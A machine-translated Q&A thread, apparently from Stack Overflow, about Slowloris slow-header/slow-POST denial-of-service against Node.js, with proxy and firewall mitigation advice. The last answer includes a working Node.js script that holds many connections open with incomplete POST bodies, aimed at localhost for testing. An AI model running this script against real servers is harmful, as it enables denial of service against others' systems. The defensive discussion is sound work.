更新
_ https://nodejs.org/pt-br/blog/vulnerability/february-2019-security-releases/ _.
2018 年 13 日星期五更新:
我成功说服 Node.js 核心团队为此设置 CVE。
修复 - 新的默认值和可能的新 API - 将在 1 到 2 周内完成。
每个人都知道 Slowloris:
HTTP Header
或 POST Data
字符缓慢传输以阻止 socket
。
经过扩展,DoS 攻击变得更加容易。
因为没有内置方法可以处理
header
中的 HTTP Server
中的 Node.js
。
我想到了这个问题,是否可以将
net
和 HTTP Server
结合起来以减轻 Slowloris
.
http.createServer(function(req, res) {
var timeout;
net.on('data', function(chunk) {
clearTimeout(timeout);
timeout = setTimeout(function() {
req.connection.destroy();
}, 100);
};
};
我看到的问题是,两个服务都必须在
Socket
上监听同一个 Port 80 and 443
。
不知道如何解决这个问题。
可以将请求和响应从
net
传输到 HTTP-Server
并返回。
但是 1 条传入消息需要 2 个
sockets
。
2
sockets
代表 1 条传出消息。
因此,从高可用服务器的意义上来说,这是不可行的。
我不知道。
世界可以做些什么来消除这一祸害?
这是一个严重的安全威胁。
我认为这需要在
C
或C++
基础上解决。
我无法编写这些真正的程序员语言。
但是,如果有人将其推送到 Github 上,我们所有人都会得到帮助。
缓解此问题以及许多其他问题的最佳方法是在 Node.js 应用程序和互联网之间放置代理层,例如 nginx 或防火墙。
如果您熟悉许多设计和编程方法背后的范例(例如 OOP),您可能会认识到“关注点分离”背后的重要性。
在设计基础设施或客户端访问数据的方式时,同样的范例也适用。
应用程序应该只关心一个问题:处理数据操作(CRUD)。这本质上包括与维护数据完整性相关的任何问题(SQL 注入威胁、脚本注入威胁等)。
其他问题应该放在单独的层中,例如 nginx 代理层。
例如,nginx 通常会关注将流量路由到您的应用程序/负载平衡。这将包括与网络连接相关的安全问题,例如 SSL/TLS 协商、缓慢的客户端等。
可能(阅读:应该)实施额外的防火墙来处理额外的安全问题。
您的问题的解决方案很简单,不要直接将 Node.js 应用程序公开到互联网,使用代理层 - 它的存在是有原因的。
我认为您针对此漏洞采取了错误的方法。
这不涉及使用许多 IP 的情况下的
DDOS attack
(分布式拒绝服务),以及当您需要继续为参与攻击的计算机位于同一防火墙内的某些计算机提供服务时。
DDOS 中使用的机器通常不是被接管的真实机器(可能是虚拟化的或使用软件从不同的 IP 进行操作)。
当针对大型目标的 DDOS 开始时,每个 IP 的限制可能会禁止来自同一防火墙 LAN 的所有计算机。
要在面对 DDOS 时继续提供服务,您确实需要根据请求本身的常见元素(而不仅仅是 IP)来阻止请求。 security.se 可能是提供有关如何做到这一点的具体建议的最佳论坛。
不幸的是,与 XSRF 不同,DOS 攻击不需要源自真正的浏览器,因此任何不包含严密且不可猜测的随机数的标头都可以被欺骗。
建议:要防止此问题,您必须拥有良好的防火墙策略来防御DDos攻击和大规模拒绝服务。
但是!如果你想用node.js做一些事情来测试拒绝服务,你可以使用此代码(仅用于测试目的,不适用于生产环境)
var net = require('net');
var maxConnections = 30;
var connections = [];
var host = "127.0.0.1";
var port = 80;
function Connection(h, p)
{
this.state = 'active';
this.t = Date.now();
this.client = net.connect({port:p, host:h}, () => {
process.stdout.write("Connected, Sending... ");
this.client.write("POST / HTTP/1.1\r\nHost: "+host+"\r\n" +
"Content-Type: application/x-www-form-urlenconded\r\n" +
"Content-Length: 385\r\n\r\nvx=321&d1=fire&l");
process.stdout.write("Written.\n");
});
this.client.on('data', (data) => {
console.log("\t-Received "+data.length+" bytes...");
this.client.end();
});
this.client.on('end', () => {
var d = Date.now() - this.t;
this.state = 'ended';
console.log("\t-Disconnected (duration: " +
(d/1000).toFixed(3) +
" seconds, remaining open: " +
connections.length +
").");
});
this.client.on('error', () => {
this.state = 'error';
});
connections.push(this);
}
setInterval(() => {
var notify = false;
// Add another connection if we haven't reached
// our max:
if(connections.length < maxConnections)
{
new Connection(host, port);
notify = true;
}
// Remove dead connections
connections = connections.filter(function(v) {
return v.state=='active';
});
if(notify)
{
console.log("Active connections: " + connections.length +
" / " + maxConnections);
}
}, 500);